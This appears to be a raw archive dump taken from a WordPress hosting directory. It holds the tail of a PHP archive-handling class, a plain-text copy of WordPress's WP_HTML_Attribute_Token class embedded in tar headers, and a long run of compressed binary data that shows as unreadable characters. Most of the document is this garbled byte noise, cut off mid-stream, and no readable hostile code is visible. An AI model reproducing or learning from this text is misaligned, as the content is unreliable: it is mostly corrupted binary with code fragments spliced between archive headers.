					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PKgN\�Wy%class-wp-html-attribute-token.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-attribute-token.php000064400000005327151440277760024114 0ustar00<?php
/**
 * HTML API: WP_HTML_Attribute_Token class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used by the HTML tag processor as a data structure for the attribute token,
 * allowing to drastically improve performance.
 *
 * This class is for internal usage of the WP_HTML_Tag_Processor class.
 *
 * @access private
 * @since 6.2.0
 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
 *
 * @see WP_HTML_Tag_Processor
 */
class WP_HTML_Attribute_Token {
	/**
	 * Attribute name.
	 *
	 * @since 6.2.0
	 *
	 * @var string
	 */
	public $name;

	/**
	 * Attribute value.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $value_starts_at;

	/**
	 * How many bytes the value occupies in the input HTML.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $value_length;

	/**
	 * The string offset where the attribute name starts.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $start;

	/**
	 * Byte length of text spanning the attribute inside a tag.
	 *
	 * This span starts at the first character of the attribute name
	 * and it ends after one of three cases:
	 *
	 *  - at the end of the attribute name for boolean attributes.
	 *  - at the end of the value for unquoted attributes.
	 *  - at the final single or double quote for quoted attributes.
	 *
	 * Example:
	 *
	 *     <div class="post">
	 *          ------------ length is 12, including quotes
	 *
	 *     <input type="checked" checked id="selector">
	 *                           ------- length is 6
	 *
	 *     <a rel=noopener>
	 *        ------------ length is 11
	 *
	 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
	 *
	 * @var int
	 */
	public $length;

	/**
	 * Whether the attribute is a boolean attribute with value `true`.
	 *
	 * @since 6.2.0
	 *
	 * @var bool
	 */
	public $is_true;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
	 *
	 * @param string $name         Attribute name.
	 * @param int    $value_start  Attribute value.
	 * @param int    $value_length Number of bytes attribute value spans.
	 * @param int    $start        The string offset where the attribute name starts.
	 * @param int    $length       Byte length of the entire attribute name or name and value pair expression.
	 * @param bool   $is_true      Whether the attribute is a boolean attribute with true value.
	 */
	public function __construct( $name, $value_start, $value_length, $start, $length, $is_true ) {
		$this->name            = $name;
		$this->value_starts_at = $value_start;
		$this->value_length    = $value_length;
		$this->start           = $start;
		$this->length          = $length;
		$this->is_true         = $is_true;
	}
}
PKgN\�_���-class-wp-html-text-replacement.php.php.tar.gznu�[�����UM��0�+�s��.(�Ԗ�v/��J�E�c0�I�&qd;���ޙ8	�e�+�S*s@��~3�I�d*�T�Dn^�����Iw�w�'E �K�.�c�'L�.n�#�LW�<a\�"3�<�/~�>���N�1���b0x^8�LƘzCσ�	�_�6La�?Q��Wo�3�m�h�ŧ��v����}Z�t��w���t|�3���n�
�J�0�Ū� �.�<���qo����u�7R	���v`"{!W�#�T�40�a��*�)���v�,$8qk��ef�嵒)����`I"�t�bx�cjq��6r�7e�p�"��b]u�T5Fx���&�r]��(�B�t^^��f�S��f�	q��Q�����ޗ��M�Dd���D ��I-�A��m�%��^65�x���K�Q׿9-2��@�v����0��'yQ�F9���Y+�r��%��&�a���p����e��K�Au˝�
��U��D��Ӆ,�a�/M���2r�(�	c�����{�h
�qk�ac72��/�S�9S,%��ań�2�!d��)W�:�P�d)[���[Tߋ�.2nb����Zƫ��U�c�-��qs���.
~��+-�͈6;��L5[�i�i�޹w���9�q��6��A�PKgN\�ȩd�dindex.php.php.tar.gznu�[�����i�+ɖ&��j�
�0�������d���T]�m���V���)'�I2�d&��\�]{0�/�e�/�m
y�#CƒtC����!��±��$��}�5¸��Vef�8q�Dĉ'N��J���_2+L��z(�空���Gš�~�f�<м�r;�r��K��	��X$�=�#��_
F��H ���{0����K�-~֊�Ƞ�e�k��g��ǍZ��ï��(��J��x������������A��V1C���~������7�W&�j��~��?���������PԿ���~��������Z,�ҝ���G?���Y��~�o����?�����?��?�#�ef����������~�'?����k��E�?���n~�������姿���؛?����?�_?��1������O$?�a���WV����g�����:�.���_���}���_��Q��U��Z0"3�dj��Q�;B�4Ր�%#3*/���_]������R�[
˹]��G-��,���sk4^�?R^�{�#q�@F����ʼn.�K^�_,~�e�k=w!�KF�²Ku�zn��|�����>z�w�"s��.��C��ǹL�U~U��؇�f.�B��� ���g�-�T8��YN�y�쇐%n�h��y$-97h����]F�a��w����y��k�f�
�JV&�"�d��uK�FR8yÏ8H</Nˍ���>CƮA�BP��[��r#��B���x�L����-l~�*���.BpR#I��G+�Z�r�Յk�̹g��Ai��wQ�;T����"�}��g��=�a�R����؞���G|�����AJ/���ԟ�����LW�����@3@F�J�E�Z6.�U�FkY�D��~�g��&�Z�	'rx`Q�9!0'2C�C%�*���te%8���H\�4b����.=y
�Ef�3�dI2�-E�J2�ӌ��Q9E}2
�2S�����F�/�%����X����p@ )`M�A���=Ce9Jĭ�W�{A�pkb"[��K��0�`�{�+�
����p�l-���	��d�d�`�q�61A�*
26�P��l0��i q$Is�-
�;��‚�Rw"	��+f�N߻Xf�<�GI��sA䀤���7�D$2G�D�`Ij(K[�KE�1����%�V/�z��t��l6��<Wҵb7]�C�
`M���"��:TQݛ�!b�%@^���(�`�%\�A�bFSʖJ1
��1�!5H��4�Bt�[3��'<�
�� xƒ	><	..,-�q��! l��?�������:�=z[P�B���RD��u����'�Q�
�s�M�̈��:��_���ɵ�g����TT�� 
c����=���ʜ��E�£����������r�o�7�Y8(d��p��D��c��ZL,AbHD�۔��g!�σ�.�i0�b#F4�}P��Pl��`t-�	v(N hPi�@����K�߀C��1�X)���$K��i'�F
��B�6�|�^�������Gt,9y�X-󓩪<c�Dg6hy��h@���HFϦ2���5\�7 ;f�@n��[*�˂%��J��G�2�nK�9�⡨�S>RO;���)mŴ_%�,:�8�"�!L�-n�ي����*fA����R��LOV��s#ˆaNӤ���s�B���
ef��y‘��9�AiЂ�P*ԩ%��Ȗfd:pW���V���	(��p� �[�I�OY�	!	���B4����v������	R��P�\X̜jk�pm���^�)5��	~Fm	��D^S����<J���+5��B�Q��SmB�P�\m4���6J��`��D���'�(�t�!�Z�}�H�K��I��O������+u�
�E5|���-|��|�lZU&H1*�m C_$8R���*Чa*�p�^j��}���y5�=Ӗ;l��?DI�-�	��1;p�!Arku-Mj&PLx@�o�66���r���DZŦ U��@�YXu
�6�ذJ�)g#J�m�F@�9�t��f���J�U��u0t
M�к.@q�+p�U0����p�p��H���Y7R	�0}�v��*S�a9�}��D���s���}C1�
x��o]0g��
�a��-2�9���@�\��i�4���uI��I`T������s�TN�SF2��uFּ�cN�D��sW8q�No(��xhek����8����A'u
��)�KE�5aO-�9ُ���뱴�D.u)k��N!��7cNZ�x���7�J� �f�b�h8Fr��"BT�J��8@���g
քq��#AR8TFǂ���XW ,B+H:�P�@��I*U��"K�y�jmW[eԵrc���R�Ҵ�!qd!��XX�&�v��#b��]������ԗ*���"���eĂ�/7y�
Bc�����p�rDK�J��;K�'�n��y��oš��-�"y�wvt�W�{
�#���"~5��":Cd���x<ZI�Es���qQ���z
��B
n��M��?���NSp��i��!���7�#Jd�ϛT�4�ង�Rp��_S�4�=F�Edg��Q�s�_[�"z�)��d�����c��.���h�k�ߚV���/�eYgVàl�Ƭ�����-�b<�@��g �++=��
+�"�ɬpB�_��i:�6;�m�Džп�i��w����-	~�����1�y�
�eh�� H7�5P
@[�:��!`����LXt�E�F�n��}�H6���!SP��C�Yo���7����PQe�G|PԉvD�9�u[�Aq����^�j"�Ѝ�=�QnS�|K��<A<��o>3�f�A���`�D2�}�oL�wL��Ȩ�$��2���i��I5Ŧ�	�����
��J�U0P].m�������7t'��cR��`¿�2�T�Ʃ�w`X�b����<s��J1���e\H�>݁g\�[��s9��gUz������R�+�`}`u��Ґ�!]q��ڼ��)*����-FD�w�iB�\~7D��D���s��#8�uJ��0�[��s��Ĥ&[����
z;�:J��OH��ӯ�z� ��:B{
(�%��ԩĦ.�«^RB�������\�(���ݮ
��PH"Ɲ�d����~X���T��G?t^u{.)X҅�o��y��U��X�R{`:� 9yq"��~�速��Y�U��`AΈ/���v��U�[kE�_�?�������E��v���w�2ËxK�,�-\�,��6[�$a���F��?b��ޢ��.ǥ�r�ٍ=d�T�\��dY�� ����2`���@bꐆ��	O�\܃�z�Č��T8i
aQ�WL�[����1���Rmě�����5��}��ʥ;�L��o�4��+��p[vT��G^��R�=�»����>ʞ�o;���i�o��"Ht_����O��S������Hű����d�2A]ߑg�s2���¬�̫Is�;Ĕ�Q���q¥-�Px��p<�J�����&YRV���3�όY#¶�t;R���`
�J�N��1�g�����)N�p����S�� ��Me�ڰ��2e*T��y�r�l��EH�1'�����TݭM���}�h^@��1�TF��=2D�j(�֤᛻����g�4�\�/Tt�N
4AA  �k�D��Є�M�����D'�b9��'Z\�RD
��$��^(*�s���Ӻ)-������;��\H�Rɷ]慜S3�On��C��
ĺ)ж�?ٖ�a@�'��8&�7��y
�41J]�K�=>]k#��5���z���v��B�^��:��a���Xp�\0��l��)�ȵ�
�N�T��O�v�M�'n�>�J2Kې#��*�ʧ;yR�N����}�,͒�d�����
�a�+����߷��	�׫ي^�Gt9`0�Tk�[�T��-|�z�J7�v�4��T�$e��J�r�/�`�����V}�0&_5C�̼ҽ��w��>�b�8В�ߍ�.P�'I@)vQ�� �@]�n�O&��BnS���v�>#ç#z�z�p�S��F�L��ߤ���s�:S5_��`?z�ox�; �|&��N��ɯ�.��l�7�Ґ9g�`�տ^\���5�N\>�@���X.�g���\[/�F���&P>3a�}'a���ǺK�?��.��Dʃ�pp��Ҏ��@_�jn�Xu��:X���+�L���֔�&[FT��q!AFe���H>�@[�K"�P'?\��>���|)�,3}�<C�'��]�Ȑ�4D ����.�n
D%�I,Z��ⱽ�U96��G}���ܣ0�r�R\-�e", �����)��u��GfN�`st����U}��'F�0�
7��g�N@C�_	�^j�9;�K�{�kh$��}�a<�ߜ-��[
/�n���G��!K#NQ,�R�=Y`(�.�`Hc�N/�{��P��2M�q'�:�Ļ��vrZĀ���r��Ĺ.r|��Y��kh��d���j�5g/��z�K9ۀ0\��������6�.�{&�7�O�Os�;8���6<�� {���O�Vl�(P&�2
�>��A�/&φ��}E��
C��s�T�??bށ|�v2�SI�
X)��m)pB\�U��@	��`�k�kxxETo��r��%9`2Z�GD�#��$H�
5���m�w�*�T�'����������
��#���k�G;�9�`U���v�P���m-�B�
9�
��+ �M8d�����XB��89���"F9gK�N����ċx�F���6<���p7�Zܗ`�dn�z)Nnq��^����ʼn�?�vw��N�S����t��*�d>d�l��ͧ�e�T�>�cM�q�jv
�='c��D��d�x���Y$����S>�K��N�Gjn��*�W_��#:!����j����>�L��l����̄�L�G7�P;0w��p�;_�'|���F:��E��r�b���P쳱�ދ�=�ͤ�e!<^D�Հy��s>ԛx�Ⱥ��o+�谟��t|6��Y�Z/�g��C���Q�A�.����|� ��YuA'�n�2
p�`F(1yPuvZe��R��ǝAh�>��Z8�'�=6�>IO=II��7���X��0i���/DFʓ�H��m�Kτ�(L���ah�PKA�̄���SJ�g}Y�l���!�,�GO��)��eP�s�Ŋ�+�w1�U�	3�/�=��9M�W���t����,��l��0��:�Q�H�{�7ҍ�r�E�ZɈ�UeR�Uc�C&,��Bi]��3PI:����]�����C1�M��Iy(W��v&-�ࡿ��%��rm�*���c��D%^?�Tq�>$�1̴��n%"g���%���n�Χ��H�7�������
��`�H'W��vR��G�z։t��z|�&��;���-�DA��֕���˰��V�1���]�;�v���ӏ��0k=`�>[�mb+�z��|zJyA�?�Bwћ�����B]!��5�n�֟5�}%���d����z�⠵��,�V��`#U���ۭ�C����b�Xu�I����$Ȕ�mz\���H`?H�{��tҟ���ڮ�y��
5�|hŒ��.Өr�@��n�;�M[�0���V=�e�L�%�:�bx��\?�T���ubW��\%7B�tf����an�H��N/��r�P��'�l[���ɴ��T�V��z�巹-���F)���(�	���Ve�GB�C$��4r�6���Vn�{�#�yhu�yy�0�LR)�rb�`��1h�"�P�;��J�<�r��P��0�9Cw����z��woU��������wo��óhs���	�n��7��UO�x����֯9O��#������MV�H߁ۜp'	W	�B������J�f�!������ �֑�KYR%0����F�,��F;{V�.�9g�p�i��\mr���+2�I�K/�5Uեr��ܨ�:GX-iw$�ԨVOυz�1���sύV�Sw��	Ur�>��۱�,a�����Gs1���F�}����Y�A<�e�f_�sh)����L&�C��
�)��R�Y	��E���N�u�.�.�z�VY2�6"`�w��m�N7
a�N���"�6�9�3ð�9��a;0��K?������.�r›�'���꣚�5C�lM���t�v�!,����;��P�H��4vˡϰ�^.9WY% O��P�V�\�H�і��Ot*|�,+�k43�~�Y����2������Ӡ߇�!�
 B6k<
���{���v��Z�-�g�GvC$�p����w)�8���%�ߜ��b~�i��� ���/�I�\ �v�H���뇡-���M�����0�Z�,h��$JD���p�^��8��Ұ�4#�}��*R[0�s2�1<ifݐ �c	��0C�]6�'?�"�D@��ހ�e�B�AˀV'(���JY��ɰ�d���G�9j~2��9\�A��Тcr��5�3��;�����o��O��7����~�~������������_��?�����?p��7��k�o���nP�+?�S�Q�.䱂9|�ʳ��@B�@�	�!��F
�
qR�L��g��=�ŧ;��-y��a'��A3����6:=84��S���P?��h�k7�ΩI���	%BqR`�����%�̂�K
��OH�ڠܠT�tGY���]~�Y,ͱ��UU�71�Cs��`��Q��jk6���U���䘄,��1�x�����e���hF@�E����ߎ�I����5G��^O�9kʳ,g����&2؃8���0z%l[c�Zp�`�,��t#3��w��0e��uL�SN��	�,��t���.{s�8@Z�r��-�mfC<���uԧ�?�F:3��-�z	������^�R�ۺ���5�o1�a�����/S�w.D�&,���u�}�,{�yim�;躼�>C�@���,/����}��I�� {V�}3[�C4;{,[!.�`@�{��0�I�f���oRԥ��6>�/�� �I���.�KtT
�=���=���8�t���'����Qڸ�q��Б�JF��D�LP���&�yÑs�V9\[Z̥���-��C`c+�S(�l{ow�:�%t�Z>9'9|�}2��
mc�b�	��k��cʋ,U �I1b0Y�y�.�CKA�@�]G��	/k�5�����[�R�(3:�+�1������ZJ�~��/ب��>�0B�8�1���
7(��7C��@��`޼���蘜�a�C��d���	Vk^5ưy�jTٗZŶ�Mr�9M����@�VX����z�J�
�:Z�-&���h-o�,���	�X6�3����*{��[���;g�)u�8�q;^u0o.�U�Q�!S�#�Ld�tx���(H��/��܅�ܩ��
��Z#�+��?gx�I5�%�Qv ���P�Ɖ{E�
� O�3�j̀޵��f
8&��OF�����p�<�j�bx�w}ci�����>��ׇ>\��߽�|���	��A����O�hG�Cۆ�@��_aAb���6꠵M����K����\>�E>H��*�1���i�Z4���[/�g�2;�8����@C�ϊ6�Z'��t��:��
�o*�4)�*������@C�@�m���TbF|��I��F���R�9êm��;�*�AG՛��M���r��b�,����T#3�Q��06���ܽ���`�Z�HZy�;��w��V_P�yh�k����41�J?OY�H��n^��}��ԝs������4��*�vJ�YV�z��L��$�^)�>_�~�%����SmKB�n5�WJC�~|�X�v0u����Ç���h���AA�q@���n��N*f0m���I�N��3�:J��i)7�~���`�X*��P�Q�Q�T��DR�G�1�j�s>*��T��#������Քk��o����CZ�l�M��Z�RtJ�i���ҚL>�P��&�T��P%ط
�"�=p�c��q�߼Z�4��L�z�ZKw�~E��`�΁=
ڇr�(��J֢�j�w7�UHCW�E�B?>ZyO
��Z<���Oo�j`Z�O�a�?V6��v&D����
��7�N�8G�`$�
w{@N���` 
n͞�p����'��4�[�������G}�E���
���p�%�I*
��c6���h<��a�c)��W�[|d���u2�Nw2c�+��n�D�.0Z9!��c<��'h���QS��C��w]Y���7V38�Ii%��fk5���h@���&t�Ͱ���f5wT��0���!�V,u�3��B���������|M}T�۪�`����b����'w���n�z!w�^��+�l�S��`�����v���K�>t�^
���[/����9F����-�
���n��i�km���~49֣�܎��&t�؊����,�S:�o܊<��_~�7q�����n>~�A_���8RG��`��K|��rB͡��#p�²`w��+4;X��(��W�C��}���+��*���"qr��>�9n�iI&9d+M�m��q����F(\��~��)��a�P2���)]0x��u⒢��$<�7<���ޗ��R�[�U�)��Qկ���a��k�K1"X�[�Ct�/����w��?���O���4�(�U��+�*��8�k�g��y�C=f�����x�=���t�X"�-�l�E��"`��37؃����v��
�n,X-in��@,�Lޢs�p6��-
�ţ�l��T�Wyr�XL�y���-pF�:E4��
�p�p�8�S�����ʌZ_�g���_�#�És{Sߤ��L6F��-�ŋUt���KQ��Fk�St�r���+��(աj���v��k5��V�4�pxDK����pk�Dw�He�4t
4�χ�q3h�$h0�e-���x!#��FuFQ���,��
�BL'm#X$5n�����L�H��͘��z4���`q����Z����7���Z�1pc��%z�U���44Eu�~�3e� T�[��K��bf֪���G*�x>Z��EkH<��;>]����	:9��:!!�f�L1�k�0�����\�>���a��N���W{�Ʋ0�ÛV���B^�t��R���#���_���f[��u���V��/&�	���gR�Z��\I*���y�)�'�z�W�x�i=c�L"��h�驱�D4t8l��lz����Z�~��ꖸ<����b�k���|��>�Χ�� [8��j&ݘz��\R��I:�ժ�l:��6�jfOo�Us)��l>=��i%[Jw�Ll6//��"Hc�A']���J?T��i5]L�cﰓ.eY�O73C!�陵l��~O����,��m:�Z��h�6Qӹ�C/4(�+�p������}:=���-��]�ӭ8(�T��"�R{��(�h���h2���v3����lp�	�O�iD:��O�]3�o>L��z+.�N9SKӓDbZ;�*��'��䪑����5)�		5&'������+��z!0Vu��P���Q�UI�OZ��d=a�\e ��J7-�E�G׶�H����+� �=ͣ�iy��G˧�8*n:ݣ���)���`��J��S�p�i�&[�蔻�C��0-VFQ)yOWF�޲�}%�~,G�R7̷G�h~!�S�|��.��B`��GԄ��V��C7�%o�iݪ0S��m��Q�񾓎lF�t�&���$7)��(��	��r�0R�E{�L����yE蔕}�li�������N��=�3�C&�2Yz7�I��C��mN3�좝�����}�����0͂޵	��l��i1%�3JG�[�1���9z9�>�3��>�m�2���o�3|����d6�L���HiT(e�C6��gZ��|ݪu'����
����MJ�ipW\/�q���;�ɏvB���v��\��[3�pQj�ɦ9�o�R�Qz�4Gr�i�!�7W�I#$%���h��O��C#?̥�;��U:%;���</���n��V��:"�	��6ۓ�S:����@i�oE3�´��������>��Y顶�禅��þ�Y�ׁYjyG�~V�M��R%�x�K�Ne���F��o��nu�_4���nY���C1���K޹�(�vF��"3(���â��/=�E�����9MJY||H��N��-I]e�jOE!_��́��=dzL��!I�5��I2�!SU(o�}N�Z��L�Mv��v�,��:���i�K�;
����Њօd�)�l�-/�K7�v[�Ns��T,g�bz��p���w�A �v��v��un��
�^o�R�e�0�/g����fz����J�V��>Uz%��I�%�W
6f���Vjo�6c����Zp�0ؤ���ݟG��6��-ʼnңg�j�
UJx����*2N:O���zڅ��O�Bq�Z��|�y���A���Ի�Y�>���@g"��2�����igS�J�b��T�Ao'��̓ �r���V����0�8���4��]@��� B�3���M
�03*/w�Z�#e>�bbݡ4T�l<�^zc}Q��A�cc��E�t���.��-��}�0)*��<�*��t��uz��a�V�a�W�=�j�f�7�O�~��f�	)�+κ�Ƭ(���y$.G��a�_Q]�p�Z|�lw��E���;9��K���R.��!�*���
���X
e� )����e�b���V��zړ��L���-Y%��"��Z]�F�e\��1YT�6�۩�"��J���Q�ku
�bʊj�q���:�A-�C5���ǃ�Ja�A�(��r�Ǻc�ú��e%��\#�k��i�RŊ��0`�B���"�_Z?�#�Je9�V��p��K�Uf��W�6��"^n�!)�׵ut��#1�
���ة�F��ʹ�l��F��jq3�f��ğ��>9�DO2�m�X/�ڰ�n�M΢{�[�F�pxV�{t��Ȇ��q���mD�[jt�N��L�Yq��f�ä[�<n+q�2Qz덃<��}�ff�l���ef��:Y?e�vA��M�}�Fg��(��a0^�iv]+�p��y����b#��	��jO�V8_;��X�a�/U��MD�}�\kK�]5jRx=k���z ��`�g���m�~��-��F��q�>��Yo-^�i^n9澾ݴ���LKJ}9HwJ�z���m�ҫU��>�Kv�Xϊb�~� �x�US��P�6*O���|��<���b��4��:u�R�N��r^�Us��8���r*�Fg����� �k��igP
�K1�����0V���XE�'8�9~`���
*@p6WC�W���^�W��1�/��F�M->���Y�6"M�y�ԎʡeP���c�I�E)��v;�Uʑ]�P�3�mb]Z�ʋp�ۨ�(�ˁ7ʓ^<��*�Y�c[��]?��f��Npz�7���bK����<��Qo��H�P������ځ�ɯ;�����qC��D��%���Sn���U �&�z8��?
+�q�\[�'��k�t��'���`{�k��^���V}���T�o�@��4|��t'��Q�^�׫���X}���F,��Z�$>1����^�m�4�/mc�`\�[�v��jϒ}9�w;��^�7�>P�M����P��m�^��ƣ�0=�r�a�]\����d�q�VB��bSfZK��بþ��u[o��¢�h%�q.�
4
B���u��"�W:��x��YaL��x4\�
%y���pHj��X��3
̟hH�MnSj�#l��y��^|��X%bO��K	z��t\\��YFL\\sr(ȅ��Xk��q6Y	F�!T�z'�nƵؐ��Ӹ�yǏ�e=��*���w�d>�6Y!�{�����6��j{�M�Q���FL���6���`�[s��,�&�zG��J26ދ�Dr~��N�xZY���f���b�q=0����x/D���i/М����Pb��Mc���P����F�>�G�.����F��J���E�q�(���ݢ3��ttv���C�Uຮ؟���t�N7i:�M.�(���(?�� ���J�1��{6/�Z��(���S�+��u�b������>��鄔n��+��O���Q,e@�|�����Ʉi�o:�}��{��D�Ip�a9=��j�7��i3��,�`PI.��_0��*�O39�����k��P=��m��(g��R7����P6�`��W�\�[o�Ԭ��k�ݽ��|zȅN�[�'%YO�r�|���)�R�Z�yG�$�.
s��i�뀺�vB�m~0Mך��bo��an���
�=����\c��6�q��0-��`bg�e�!�&���L�o��Hr-�k�Sf���h�3~\�`%�����w��*�i2YK��;�{7�@�\Lθ��<�.�J����c�l7���º��u�3޲;^-���v���z�ᐝ�:���V�xs�A+ٯu*aqUˉ��Zf�P)����R�5.{�:���}3����>x���I���B���3�UE*�����L���򰨔FZ	=���}��ͯ˃^3K�v�E5h$xv�Ns�!��l��1��7DIYO���^J�T����M�YaC�%!\�#�~�춡^w��y�Й���E6{�1�!���b���-�[�/��_l!��B~���b���-�[�/��_l!?�-�3�>��0
e&1'���c��Hw��(z�qe~b�j����4m5��\;�c�@��䷥F�0/�~�%��Z��
��~�K$�	L�bN��d���H�m�sz�M&�aq�{�7q�wVX3��O��!�N$�XC�c��9�ŋ��t����d ��
X���R�TU��e)��kK�q�!(p�rW'z�t-\�H*�V�*3�ʛ�tS��=���ؒZbJ`���̣�6X�$[�t�[�F�^c�mCU�?��-�;[-�%Z����M���R~�{뵃,��5��?�S�:}�q!��՟��z��|'<�.�YF�ҝ���r�|9�m����Sb;f
�bi��ЅH�aIF&��}4�����X����5�ŴX,=&Z���X��6�hP���
s�4�m?�����+D�u�iW.��x��n"e�R\�1�����Y�Z�7�q)��Z�&^��Ct����*����;�Lۂ4=���E�e7�E��}��`���W,�Ӈ��fw�7=���cIL�ɤ��-�Ǭ����cz_L�R�,���Ǡ�b�Q%q�����ɛ`ӕb����l(oߥl�Г��/����M��~�l�o�sa�p]>x���3�%`(��XZ�J�N{C�p2<����}7dC�=�`E�0�E�@��~l}��vp$?(�JH܃٪&C�̓���2���ӧ��Z-��V�#1�FT��X_9�ֳ�K����@]<�ڋR��n��`/��Lp��嚳~;C'k�� �݂�nʃ��6�\�4���=;����^چ���c"ުU:4�q uh�� D��Hm�W�2YƦ��W���V,Q���_Xz�܄�dm��f��^(�G���P����Į�f��8��C|$��i��J%ف2�O%��|���|i���
�\�KEe�ʡ�����N��	D�~[��6�Uz���Hp�-
��p��&�Dvt�3lbS�'+j7��w׃�W�CބBo��J�
���cp\�1t"9��^%*���`_U�������Iddk0��
xK6���V��tF'3�`Y��vP\�[xh
�^��z����<�ɇU�^��t�=/�b�h�[�ՆB���U���z,��aR�<YǠ��A��{u���22g�Z��Vg�Pa?hf2�b��3C����c+:	B��C+_��٢��7�ʠZ��e�(/��PUIj�J};?L&��C_�/���&�r6�f�L������>���*��Kr��W�`p?��f6���k^UV�Ƞ��.�m��������K�h4/dҁ�݌��u'��`�l����Wfr�aٞoZ}%S�f���}��T��J�u��A1��ץ�A�l
a��ͅ2��`:�J�ѻ����8x*ի��\��W�_8d����,�,�t����~��M0U�%�\K���z��K��&a�_p,�P�H�8��w/�v����˝��w�Z�� ��$8�70�L�T�kd�۱ 1��U��*5O�ɬ�NqFwH�=?9{j~��Cᄀx�#�m�0�ހ$�G����7�<��|U}���0u���xdC���9T�,�����3>x���
Î߾[N�_u�����Dߍ8�����>���y
�X����Q�>	_�o9��w����.z���yD�E�39u���e�Ы�pd��v��GD�+�]�0!��M;rD�X�"^�cl7����f$����й9�9~���8lj������,%��Xb
{`\5t��)V�v�
Ѣ�1��;�<><�_"�JT�K~��eÎ���D?K��s�%��|y6}�\�5n�PB\�T6~�\,�%�nƵFO���qߠ6���X�Ap@lpw�,�ț1��ϮN�9|^)��l�~���h���Ϭ�-"��IN|�v�r�Y"z,�O��3�qK�%�{$����ٸy�d��1n�+i��<G�q����s�6�i5�Qg�\괜�
���m�6�ϥ*��F�|Ո��
�g�?���G�M���l�`�X>�$�2�h��uB� �1��
F( BK̃�1ڧ�J��RI�'�=�y�)�Է��X)|��8�R,�=��Q^w҈+jﰘ�gr��򥸔FT�/�l,��4�&m�]eM������#C�/r8�N�����l����_��>Y#�R�嚡��b�i�z�b��9
b{��'�T�)3��s �d���ˢ�uDZ��t
�����Qj����d~	����#��OF�Ն�3΋��R���Q��s�h�l�����x_��L�\�+��h���Y>�U��iYk�'Gx���)Y���d��U&"�B�]��Ek}w��+��l�n]%�qOx}�v��ͱ�5"��Q�`][~wg�I�+�	t*�YE���5�c@I�¡0j��[N:˝-�9n��G��0��9���xgj|��ї�Wn��=`�fy��o)�}ww�5M��!{���
ڌMV�D�p�ւb�XM����s���50�;K�kx�"*�<zd��胇Ԃ�6��:�`n$G}EY��W��
Y0�������%�h�+����<��c�˦��#�(�Z(6%��)k\_3Kb�:��_�r�/z����Q�kn�c�0�C��e�$�P8VxG/�FW ��I]M��¾����"�;�Ht�{��(&!��u�NZ���ﵫ~K0<���A�~�b>�P�|0/ɕ�k�e�|��\��U�m��ʽ|Kc�;��ti���
n/�@w��@�uB����`@K����	�_F��y��oB&z#��`��u����EK�Y�[=����,�Uq�p5�0�~��x-����h#���4l�IB��ڭ�B��@�]�(�@�ˁ��7-��qLEa����4C-����F�ū����� D�xp��H� +�Pd;�>3N�ے4|�U��>+p>�,ɸ���7Z�A[�`$
c�x������x" ��c�Oro�$����ߟ�=���=��U�Gۇ��v��x>�gu��[Cwy��A��#|[m�pQ#N����7�w��r]�Dt	wh>O�B���hV����V�B���ΊF�z� ^�E���3������R��)F�'@kq0���|�Ր�x^�0@��N��	�5v]��x�a~NJOD_��6�'�����-�a�"��
��xF@1�ܦ���H6�N�����F�z�U}���'���܁g �
ʹq��2�Q��^�c1��i��X'���{A7��>��%�@�辂��Iu�h�r������c1��K:
r��$�/@����7M�]�L#�Ԍ��X q��[���8�<j���߱�W��9�޿�r�Q�i*ܔ:#��������0�	�CZK5��5:N�p���	,�l�]��G�%V7�L�6^v:P��|�_*p?[J�Sle����[��o������x�����_�r�&BB��k��;F�b��}I�9
-��Hhi���/b��Klc�& �Ll_ҋ,��C�
[e��ߐ���k�`8�՚w<#R����a*��ݚ�3��K�P�B�ɊwFD����d9Үl3�\����S�Qf�"X���`c��u`��IH{�_��yN��5Ӣ���|Ơ�ۉ8u�|>�����ŧ�꧚�f�(C�'���@������ �֌��i���]�y�2Ci_���(0�;'<ϧ�Ř��ӄ��%��ѕr_�qS�x�߬��"o���[N���e��ಹ�}�1�{�ߑ]<q����+.� ��21��L�H�p�T�#���*�g]4l{�W"}܀�;�{
'l��[���ȵ$��:��.j\��N�� ���E�a�Ag���س76�ejz)��R���n�Tk!` ހ��e�����h��6�I�^�O.���
���ЍƲ_w&�;�Nn�T}��o���o�4�5�;���Ԡ�7˃
з�PY�R���./��i2��l���N�Ҝ�&"��p�^�J
2�:�
�;�q�/Sߏ�
�N�B�1趗�K{��
�.�=9��1	�?^���L�U:#ClN�~i�W���ѥ?����&��r�ʋ�5�]
�D�a�3�>A��`=�~��h���2�u��T<��l���c���؂,-r�l�S�29dՎu%sA���̡�:P>�Ү)"�� �7܈��N�q��T1��Ixu�d>�2�%#�P���c|��`B�C�౽",-�ыi�����:{
l�H� �]�n/9�X����B�"�^�5dx ��iz��ۘ���A�rXz �Zf Y�8P�R�W�ũO��kx�en|�N��Y^@�qF���0�����u㘦�K�^?�?gXۡG�b)s���on��VSL.J�Y</��"��2�47j�ؚ�X}0w
